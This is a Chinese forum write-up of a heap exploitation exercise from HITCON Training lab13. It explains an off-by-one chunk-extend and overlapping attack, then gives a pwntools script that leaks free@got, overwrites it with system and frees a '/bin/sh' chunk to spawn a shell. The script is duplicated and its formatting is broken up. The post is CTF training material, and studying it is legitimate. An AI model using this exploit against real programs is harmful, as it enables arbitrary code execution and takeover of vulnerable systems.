-
-
[原创]Pwn堆利用学习——chunk extend and Overlapping —— HITCON Trainging lab13
-
发表于: 2020-11-20 15:48 8126
-
创建的时候,输入的长度为5,然后输入的字符串:aaaaa,但是结果是:成功、多显示一次菜单和Invalid Choice,所以猜测这里存在什么漏洞,但是后面并没有用到。
其他就是编辑/展示/删除heap的content,更多信息等反编译查看了。
在bss段有一个heaparray数组,这个数组每个元素heaparray都是一个chunk,userdata大小为0x10,前8Byte存放size,后8Byte存放content指针,content chunk的userdata大小为size。
思路:
a. 编写选项函数
b. create四个heaparray,堆结构如下图所示。
c. 修改heaparray0之后edit(0,'a'*0x18+'\x81')
,即通过heaparray0,修改heaparray1的大小,“合并”heaparray2,后面通过先free再重新malloc来overlapping,从而控制heaparray2。
d. 释放heaparray1delete(1);
e. 重新malloc一个“合并”后的chunk(heaparray1和heaparray2及其content合起来共0x80,所以userdata为0x70),且构造content,将free@got给heaparray2结构体的content指针,后面就可以通过edit函数编辑content指针指向的内容,即修改free@got处的free函数的真实地址为system函数真实地址。
f. 最后通过show函数把free@got处的free函数真实地址泄漏出来。这里要注意一点就是脚本里free_addr = uu64(ru('\nDone'))
,Done前面有个回车符。
g. 通过LibcSearcher计算libc基址,进而计算system函数,然后调用edit函数把free@got处free函数真实地址修改为system函数真实地址。下图中,查看free@got,里面确实变成了system函数地址(如果还想要确认libc基址对不对,可以用vmmap查看)。
h. 现在万事俱备,就差调用了,content为“/bin/sh”的是heaparray3,那么我们free 它!getshell!
lzx@ubuntu16x64:hitcontraning_lab13$
file
heapcreator
heapcreator: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
5e69111eca74cba2fb372dfcd3a59f93ca58f858
,
not
stripped
lzx@ubuntu16x64:hitcontraning_lab13$ checksec
-
-
file
=
heapcreator
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH
85
) Symbols No
0
2
heapcreator
lzx@ubuntu16x64:hitcontraning_lab13$
file
heapcreator
heapcreator: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
ld
-
linux
-
x86
-
64.so
.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
5e69111eca74cba2fb372dfcd3a59f93ca58f858
,
not
stripped
lzx@ubuntu16x64:hitcontraning_lab13$ checksec
-
-
file
=
heapcreator
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH
85
) Symbols No
0
2
heapcreator
struct heaparray{
size_t size;
char
*
content;
}
struct heaparray{
size_t size;
char
*
content;
}
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./heapcreator'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'127.0.0.1'
,
0000
)
if
argv[
1
]
=
=
'r'
else
process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
#libc = ELF('./libc.so.6',checksec=False)
def
dbg():
gdb.attach(p)
# pause()
def
create(size, content):
sla(
'Your choice :'
,
'1'
)
sla(
'Size of Heap : '
,
str
(size))
sla(
'Content of heap:'
, content)
def
delete(index):
sla(
'Your choice :'
,
'4'
)
sla(
'Index :'
,
str
(index))
def
edit(index,content):
sla(
'Your choice :'
,
'2'
)
sla(
'Index :'
,
str
(index))
sla(
'Content of heap : '
, content)
def
show(index):
sla(
'Your choice :'
,
'3'
)
sla(
'Index :'
,
str
(index))
#start
# end
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
ruf
=
lambda
delims, drop
=
False
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./heapcreator'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'127.0.0.1'
,
0000
)
if
argv[
1
]
=
=
'r'
else
process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
#libc = ELF('./libc.so.6',checksec=False)
def
dbg():
gdb.attach(p)
# pause()
def
create(size, content):
sla(
'Your choice :'
,
'1'
)
sla(
'Size of Heap : '
,
str
(size))
sla(
'Content of heap:'
, content)
def
delete(index):
sla(
'Your choice :'
,
'4'
)
sla(
'Index :'
,
str
(index))
def
edit(index,content):
sla(
'Your choice :'
,
'2'
)
sla(
'Index :'
,
str
(index))
sla(
'Content of heap : '
, content)
def
show(index):
sla(
'Your choice :'
,
'3'
)
sla(
'Index :'
,
str
(index))
#start
# end
p.interactive()
create(
0x18
,
'aaaa'
)
# 0
create(
0x10
,
'bbbb'
)
# 1
create(
0x10
,
'cccc'
)
# 2
create(
0x10
,
'/bin/sh\x00'
)
# 3
dbg()
create(
0x18
,
'aaaa'
)
# 0
create(
0x10
,
'bbbb'
)
# 1
create(
0x10
,
'cccc'
)
# 2
create(
0x10
,
'/bin/sh\x00'
)
# 3
dbg()
edit(
0
,
'a'
*
0x18
+
'\x81'
)
dbg()
edit(
0
,
'a'
*
0x18
+
'\x81'
)
dbg()
delete(
1
)
dbg()
delete(
1
)
dbg()
size
=
'\x08'
.ljust(
8
,
'\x00'
)
payload
=
'd'
*
0x40
+
size
+
p64(elf.got[
'free'
])
create(
0x70
,payload)
# 1
dbg()
size
=
'\x08'
.ljust(
8
,
'\x00'
)
payload
=
'd'
*
0x40
+
size
+
p64(elf.got[
'free'
])
create(
0x70
,payload)
# 1
dbg()
show(
2
)
ru(
'Content : '
)
#free_addr = uu64(ru('Done')[:-5])
free_addr
=
uu64(ru(
'\nDone'
))
leak(
'free_addr'
,free_addr)
dbg()
show(
2
)
ru(
'Content : '
)
#free_addr = uu64(ru('Done')[:-5])
free_addr
=
uu64(ru(
'\nDone'
))
leak(
'free_addr'
,free_addr)
dbg()
libc
=
LibcSearcher(
'free'
,free_addr)
libc_base_addr
=
free_addr
-
libc.dump(
'free'
)
leak(
'libc_base_addr'
, libc_base_addr)
system_addr
=
libc_base_addr
+
libc.dump(
'system'
)
leak(
'system_addr'
,system_addr)
edit(
2
,p64(system_addr))
dbg()
libc
=
LibcSearcher(
'free'
,free_addr)
libc_base_addr
=
free_addr
-
libc.dump(
'free'
)
leak(
'libc_base_addr'
, libc_base_addr)
system_addr
=
libc_base_addr
+
libc.dump(
'system'
)
leak(
'system_addr'
,system_addr)
edit(
2
,p64(system_addr))
dbg()
show(
2
)
# 这一行有没有都行,只是打印显示而已。
delete(
3
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课